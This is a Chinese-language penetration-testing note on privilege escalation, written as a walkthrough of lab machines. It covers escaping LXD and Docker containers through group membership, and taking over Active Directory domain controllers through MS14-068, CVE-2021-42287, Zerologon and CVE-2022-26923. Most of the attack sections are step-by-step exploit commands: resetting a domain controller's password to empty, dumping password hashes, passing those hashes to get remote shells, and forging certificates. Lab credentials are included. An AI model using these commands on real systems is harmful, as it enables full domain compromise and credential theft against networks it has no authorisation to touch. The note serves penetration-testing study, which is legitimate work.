容器&域控权限提升

容器

LXD、LXC 和 Docker 是三种不同的容器化技术,它们在实现和使用上有一些区别。

总结来说,LXD是基于LXC的系统级容器管理器,提供了更高级别的接口和管理工具;LXC是Linux内核提供的一种虚拟化技术,允许在单个Linux内核上运行多个隔离的用户空间实例;而Docker是基于LXC的容器化平台,提供了一套简化容器构建、分发和运行的工具和API。

LXD(Linux容器守护程序)是一个系统级容器管理器,它基于LXC(Linux容器)技术。LXD提供了更高级别的接口和管理工具,使得轻松创建和管理系统容器成为可能。LXD主要面向系统级容器,可以运行完整的操作系统镜像,并提供类似于虚拟机的环境。它提供了更好的隔离性、资源控制和安全性。

LXC(Linux容器)是Linux内核提供的一种虚拟化技术,它允许在单个Linux内核上运行多个隔离的用户空间实例。LXC提供了一组工具和API,用于创建和管理容器。LXC容器通常比LXD容器更加灵活和轻量级,可以定制底层操作系统的各个方面。LXC更适合于需要更细粒度控制的使用场景。

Docker是一个开源的容器化平台,它建立在LXC之上,并提供了一套更高级别的工具和API,使得容器的构建、分发和运行变得更加简单。Docker提供了一个容器镜像的集装箱模型,使得容器可以在不同的环境中进行移植和部署。Docker强调容器的可移植性和易用性,适用于开发、测试和部署应用程序的场景。

#利用参考:(SUID&SUDO&capability)

https://gtfobins.github.io/

两种情况:

权限在docker:

逃逸 提权(宿主机)

权限不在docker:

借助docker应用去提权(用户归属是docker组 拉镜像 提权)

下面两个例子都是获得了目标机器上的docker用户组下的用户,通过容器访问到/root下的文件

普通用户-LXD容器

原理:

LXD是基于LXC容器的管理程序,当前用户可操作容器,

理解为用户创建一个容器,再用容器挂载宿主机磁盘,

最后使用容器权限操作宿主机磁盘内容达到提权效果。

lxd本地提权条件:

id看一下用户组

-已经获得Shell

-用户属于lxd组

https://www.vulnhub.com/entry/ai-web-2,357/

1、入口点:

User: n0nr00tuser

Pass: zxowieoi4sdsadpEClDws1sf

2、检测及利用:

./LinEnum.sh

https://github.com/saghul/lxd-alpine-builder

3、创建容器,挂载磁盘,进入容器,进入目录提权

lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz –alias test

lxc init test test -c security.privileged=true

lxc config device add test test disk source=/ path=/mnt/root recursive=true // 把目标机器的/拉到镜像里的/mnt/root

访问虚拟环境中的/mnt/root就相当于访问目标机器的/

lxc start test

lxc exec test /bin/sh

cd /mnt/root/root

cat flag.txt

普通用户-Docker容器

把一个普通账号test添加到docker组,

使用newgrp将root初始组切换为docker

usermod -G docker test 把test加入到docker组

newgrp docker //生效

su test

docker run -v /:/mnt -it alpine //将真机的/放到docker的/mnt上 ,alpine是镜像名字

ls /mnt/root

Docker本地提权条件:

1、已经获得Shell

2、用户属于docker组

参考:云上安全笔记的逃逸

https://www.vulnhub.com/entry/chill-hack-1,622/

1、入口点:

User: anurodh

Pass: !d0ntKn0wmYp@ssw0rd

2、检测及利用:

./LinEnum.sh

3、创建容器,挂载磁盘,进入容器,进入目录提权

docker run -v /:/mnt -it alpine

cd /mnt/root

-基本就是获取/etc/shadow

-写到宿主机SSH密钥

-写到宿主机计划任务

-CVE利用反弹

域控

#实战场景:

通过技术手段拿下内网域环境下某一台服务器权限或某主机上的域用户账号密码后,

与AD域控网络通讯正常的情况下,可直接使用域控提权CVE漏洞进行域控权限提升。

192.168.3.21是域控地址 OWA2010CN-GOD域控主机

WIN-AD域控提权-CVE-2014-6324

前提条件:

1、需要域用户账号密码

2、一台主机的管理员权限

whoami /user //获取当前域内用户SID值

net time /domain //查看域内控制地址

net config workstation

ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址

ms14-068.exe -u mary@god.org -p admin!@#45 -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d OWA2010CN-God.god.org //会保存票据等一些信息

//下面是mimikaz工具

kerberos::list

kerberos::purge //清除票据

kerberos::ptc “TGT_test02@test.lab.ccache“ //导入票据

dir\OWA2010CN-God.god.org\C$

psexec \OWA2010CN-God.god.org cmd //链接域控cmd

WIN-AD域控提权-CVE-2021-42287 //影响win服务器全系列到22

只需要域用户账号密码

https://github.com/WazeHell/sam-the-admin

python3 sam_the_admin.py 域名/‘普通用户:普通用户密码’ -dc-ip 域控IP -shell

python3 sam_the_admin.py god/‘webadmin:admin!@#45’ -dc-ip 192.168.3.21 -shell

该漏洞利用完会使域内通信不正常,需要退出后再加入域内

WIN-AD域控提权-CVE-2020-1472

//打完需要恢复,因为域控设置空密码会影响正常域内通信 内网攻防会写怎么恢复

CVE-2020-1472是继MS17010之后好用的NetLogon特权域控提权漏洞,

影响Windows Server 2008R2至Windows Server 2019的多个版本系统,

只要攻击者能访问到目标域控井且知道域控计算机名即可利用该漏洞.

该漏洞不要求当前计算机在域内,也不要求当前计算机操作系统为Windows.

计算机名:nbtscan -v -h 192.168.3.21

漏洞检测:python3 zerologon_tester.py OWA2010CN-GOD 192.168.3.21

重置空密码:python3 cve-2020-1472-exploit.py OWA2010CN-GOD 192.168.3.21

连接后导出:python3 secretsdump.py god.org/OWA2010CN-GOD$@192.168.3.21 -no-pass //导出所有hash

WMI连接反弹:

python3 wmiexec.py god/administrator@192.168.3.21 -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7

WIN-AD域控提权-CVE-2022-26923

三个利用文件

在kali203中使用可能会冲突,用kali2022版本可以解决

前提条件:

1、一个域内普通账号

2、域内存在证书服务器

Kali添加访问域内信息 /etc/hosts

192.168.3.111 xiaodi.local

192.168.3.111 xiaodi-DC-CA

192.168.3.111 DC.xiaodi.local

获取CA结构名和计算机名

certutil -config - -ping

域内信息

192.168.3.111

test Pass123 //test用户属于域内普通用户组

xiaodi-DC-CA //CA名称

DC.xiaodi.local //计算机名称

攻击机执行/三个利用目录,记得切换

1、申请证书:(Certipy)

certipy req ‘域/test:Pass123@域控名字’ -ca xiaodi-DC-CA -template User -debug

certipy req ‘xiaodi.local/test:Pass123@DC.xiaodi.local‘ -ca xiaodi-DC-CA -template User -debug

这步操作会保存一个test.pfx文件

2、检测证书(Certipy)

certipy auth -pfx test.pfx

3、添加用户:(bloodyAD)

python3 bloodyAD.py -d xiaodi.local -u test -p ‘Pass123’ –host 192.168.3.111 addComputer pwnmachine ‘CVEPassword1234*’

4、设置属性:(bloodyAD)

python3 bloodyAD.py -d xiaodi.local -u test -p ‘Pass123’ –host 192.168.3.111 setAttribute ‘CN=pwnmachine,CN=Computers,DC=xiaodi,DC=local’ dNSHostName ‘[“DC.xiaodi.local”]’

5、申请证书:(Certipy)

certipy req ‘xiaodi.local/pwnmachine$:CVEPassword1234*@192.168.3.111’ -template Machine -dc-ip 192.168.3.111 -ca xiaodi-DC-CA -debug //该步骤不成功就换个Certipy-main目录执行

6、检测证书:(Certipy)

certipy auth -pfx ./dc.pfx -dc-ip 192.168.3.111

最后会给一个hash值

7、获取HASH:(impacket)

python3 secretsdump.py ‘xiaodi.local/dc$@DC.xiaodi.local’ -hashes :b6046c1026699b59301ff66341838df4

8、利用HASH:(impacket)

python3 wmiexec.py xiaodi.local/administrator@192.168.3.111 -hashes aad3b435b51404eeaad3b435b51404ee:e6f01fc9f2a0dc96871220f7787164bd